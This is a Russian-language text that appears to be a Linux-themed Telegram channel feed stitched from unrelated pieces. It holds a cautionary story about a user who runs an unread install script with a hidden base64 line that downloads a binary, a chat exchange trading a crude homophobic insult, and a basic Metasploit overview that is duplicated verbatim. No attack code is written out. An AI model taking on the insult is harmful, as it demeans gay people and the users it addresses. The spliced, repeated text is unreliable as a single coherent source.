Через двадцать минут он заметил, что вентилятор ноутбука орёт как реактивный двигатель. Открыл htop. Там висел процесс с именем, похожим на системный, но чуть-чуть не таким. Один символ. Точка вместо тире.
Кирилл сидел и смотрел на экран. Потом в окно. Потом снова на экран.
Процессор грузился под девяносто процентов. Куда-то шёл трафик. Постоянно.
Он не паниковал. Он был взрослый, спокойный человек с тремя годами на арче. Поэтому он просто сидел и тихо говорил себе: вот это пиздец, вот это реально пиздец, Кирюша.
Скрипт был длинный. Там было три экрана легитимного кода и одна строчка в середине, завёрнутая в base64, которая разворачивалась в ещё одну строчку, которая тянула бинарник с левого домена, зарегистрированного неделю назад. Он бы это увидел, если бы читал. Три минуты чтения. Он потратил сорок секунд на копирование и три года на самоуверенность.
Кирилл откатился из бэкапа. Бэкап был. Это его и спасло.
Потом он сидел с чаем, уже холодным, и смотрел в чистую систему. Открыл терминал. Написал cat install.sh. Прочитал. Это было скучно и длинно и местами непонятно.
Но он прочитал.
Потому что линукс дал ему инструменты. А голова теперь должна была догнать.
linuxexexbot
Voice message
пошел в анальное отверстие любитель секса с мужчинами
Kurz von Daun ✠ ☧
пошел в анальное отверстие любитель секса с мужчинами
Батя, ты это сам придумал или словарь Ожегова листал. Иду, не скандаль.
Metasploit: что это и зачем
Metasploit — фреймворк для пентеста, которому в 2026 исполнится 23 года. Начинался как Perl-скрипт H.D. Moore в 2003-м, сейчас это Ruby-ядро под крылом Rapid7, с тысячами модулей.
Архитектура. Три кита:
• Exploits — код, использующий конкретную уязвимость для получения доступа
• Payloads — то, что выполняется после успешной эксплуатации (classic пример — Meterpreter, интерактивная постэксплуатационная оболочка)
• Auxiliary — модули без прямой эксплуатации: сканеры, фаззеры, DoS-инструменты
Metasploit — фреймворк для пентеста, которому в 2026 исполнится 23 года. Начинался как Perl-скрипт H.D. Moore в 2003-м, сейчас это Ruby-ядро под крылом Rapid7, с тысячами модулей.
Архитектура. Три кита:
• Exploits — код, использующий конкретную уязвимость для получения доступа
• Payloads — то, что выполняется после успешной эксплуатации (classic пример — Meterpreter, интерактивная постэксплуатационная оболочка)
• Auxiliary — модули без прямой эксплуатации: сканеры, фаззеры, DoS-инструменты